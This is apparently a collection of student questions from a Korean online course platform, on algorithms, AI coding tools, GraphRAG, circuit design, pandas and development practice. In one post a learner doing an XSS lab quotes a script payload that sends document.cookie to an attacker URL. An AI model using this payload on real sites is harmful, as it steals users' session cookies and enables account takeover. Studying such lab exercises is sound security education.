- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 안녕하세요 강사님! 질문이 있어 게시글 남깁니다. 1. 저는 문제를 풀면서, combi함수까지는 동일하게 했지만, combi함수 안에서 마지막에 dfs를 호출하여 해당 조합에서의 min값을 찾도록 하였는데요. 이게 코드입니다! 강사님이 강의에서 알려주신 코드와 시간복잡도를 비교해보려고 했는데,, 잘 모르겠어서요.. 시간은 대강 비슷하나요? 2. dfs를 배운 이후부터는 뭔가 좀 복잡하다 싶으면 dfs부터 떠올리게 되는거같아서요.. 어떻게 생각을 뜯어고쳐야할지 모르겠어요 . . .
기존의 todos가 tasks로 변경되었는데, 기존 영상대로 혹은 제가 더 수정해서 해봤지만, tasks는 플랜이나 utra plan으로 하면서 task가 하나로 남더라고요.. 아마 utra plan생겨서 그런거 같은데, 울트라 플랜이라고 말 안해도 지가 알아서 넘어가더라구요.. 영상 강의처럼 하려면 이제 테스크를 분할해서 해주세요. 이걸 매번 붙여야할까요? 그래야 서브 에이전트로 나눠서 todos처럼 나눠서 하려나요?
XSS 1번 문제에 왜 Activate admin bot을 특정 XSS한 게시물에 맞춰야 플래그가 나오는지 모르겠습니다. 그리고 <script>location.href = "공격자의 URL/?memo=" + document.cookie;</script> 의 공격 파라미터일 때 공격자의 URL앞에 나오는 /?memo=가 무슨 뜻인지도 궁금해요.
graphRAG - Neo4J로 구현하는 지식 그래프 기반 RAG 시스템 (feat. LangChain)
시멘틱 온톨로지 구축을 위해 데이터를 먼저 공부하고있습니다. RAG는 구축된 데이터가 들어간걸 조회할 때 쓰는거라고 생각하고있습니다. 온톨로지 구축을 위해 원천데이터 자체를 분석해서 도메인 사전을 만들어야한다는것을 알고있는데 이걸 어떤식으로 구조화해서 구축해야하는지가 감이 안옵니다. 정규식으로는 한계가 있을 것 같고 LLM으로 하자니 할루시네이션 등의 문제가 발생할 여지가 있고요 이런 관련된 강의를 진행하시거나, 제가 강사님 3가지 로드맵을 다 구독중인데 3개중 볼만한 강의가 있으면 회차좀 가이드부탁드립니다..
강의에서 Source follower를 사용하는 목적이 pass transistor에서 보이는 resistance를 낮춰서 wp2를 높은 주파수로 밀어내는 것이라고 이해했습니다. 이를 확인하기 위해 Source follower의 load 트랜지스터의 ro와 입력 트랜지스터의 1/gm을 변경하면서 Pass transistor gate에서 보이는 저항값을 낮춰봤는데, Bode plot에서 pole의 위치가 거의 변하지 않았습니다. 혹시 제가 잘못 이해하고 있는 부분이 있을까요? Source Follower로 wp2를 높은 주파수로 올리는 방법을 어떻게 접근해야 할지 조언 부탁드립니다. 또한, Buffer 없이도 Feed-forward Capacitor를 추가한 후 Error-amp 내의 Miller cap & resistor 값을 조절하여 PM을 60도 정도로 가져갈 수 있는데, source follwer를 사용하면 무엇이 좋은지 알고 싶습니다. 자세한 설명을 위해 사진을 첨부하고 싶은데 이미지 업로드 오류가 계속 발생합니다... 감사합니다.
학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! 질문과 관련된 영상 위치를 알려주면 더 빠르게 답변할 수 있어요 먼저 유사한 질문이 있었는지 검색해보세요 안녕하세요. 빈도수 구할 때 value_counts()로 구하신 것 확인했습니다. 하지만 배울때 df.mode()[0]로도 구할 수 있는 것으로 알고있는데 무방할까요?
빅데이터분석기사 실기 기출 완전정복 [전 회차 수록 ·계속 업데이트 · 전용 실습환경 제공]
알고런 사이트에서 실습을 하려는데, 타이핑을 할때 띄어쓰기나 특수문자같은것을 사용할때마다 타이핑 커서? ( | <<<이모양)이 자꾸 오른쪽으로 한칸씩 밀리는 증상이있습니다. 예를들어 import sklearn.preprocessing as skl을 치면 import sklearn.preprocessing as skl (네다섯칸) | ...커서가 이렇게 나옵니다. 윈도우에서 크롬 엣지 모두 같은 증상입니다. 혹시 해결방법을 아시는가 하여 문의드립니다. 아래 그림과 같이 제 화면에 보이는 글자와 드래그했을때 나타나는 글자의 렌더링이 다르게 나옵니다.
[단테랩스] Hermes × Codex 로 세우는 나만의 AI 가상 오피스 (8주 마스터 과정)
메모리 구조가 3단계로 되어 있다고 설명해 주셨는데요. 1단계와 2단계는 이해했는데, 3단계인 외부 메모리(Mem0) 부분이 조금 헷갈려서 질문드립니다. Mem0 같은 외부 메모리를 연결하면 기존의 memory.md 와 user.md 는 더 이상 Hermes가 사용하지 않는 구조인가요? 아니면 Mem0와 함께 계속 참조되는 구조인가요? 제가 이것저것 설정하다 보니 Hermes가 계속 " memory.md 용량이 얼마 남지 않았다"는 경고를 보여주고 있습니다. 그런데 이미 Mem0를 연결한 상태인데도 이런 메시지가 계속 나오는 이유가 궁금합니다. 제 이해로는 Mem0를 사용한다면 memory.md 의 용량 문제에서 어느 정도 자유로워질 것이라고 생각했는데, 여전히 memory.md 용량 경고가 발생하는 것을 보면 실제로는 Mem0를 사용하지 않고 memory.md 만 사용하고 있는 것인지 헷갈립니다. 혹시 Mem0를 연결해도 memory.md 는 별도로 계속 사용되며 용량 제한 역시 그대로 적용되는 것인지, 아니면 제가 설정을 잘못 이해하고 있는 것인지 설명 부탁드립니다.
작업내용을 보기 위해 Ctrl+R 을 사용하면 히스토리가 나옵니다. 혹시 단축키가 변경된건가요? 제 로컬 환경 설정이 문제 일까요? 현재 인프런에 캡처 파일이 올라가지 않아 글로만 남깁니다. (Search Prmopts -everywhere 문구가 보이며 하단 검색 할수 있도록 FIlter history... 문구가 있습니다.)
안녕하세요 선생님, 실제 필드에선 클라이언트의 요구 사항이 명확하지 않고, 기획자가 없으며, 개발자가 대부분의 일을 다 해내야 하는 경우가 있는데, 클라이언트(대표님 또는 상사)와 소통, 기획서 작성, 설계, 개발까지 혼자 하게 될 때 현명하게 대처하는 방법은 뭐가 있을까요? 큰 기업은 각자의 업무에 집중할 수 있겠지만, 작은 기업은 그게 쉽지 않은 걸 알고 있습니다 클라이언트와 소통, 화면 기획 및 요구 사항 작성등은 어떤식으로 공부해야할까요?
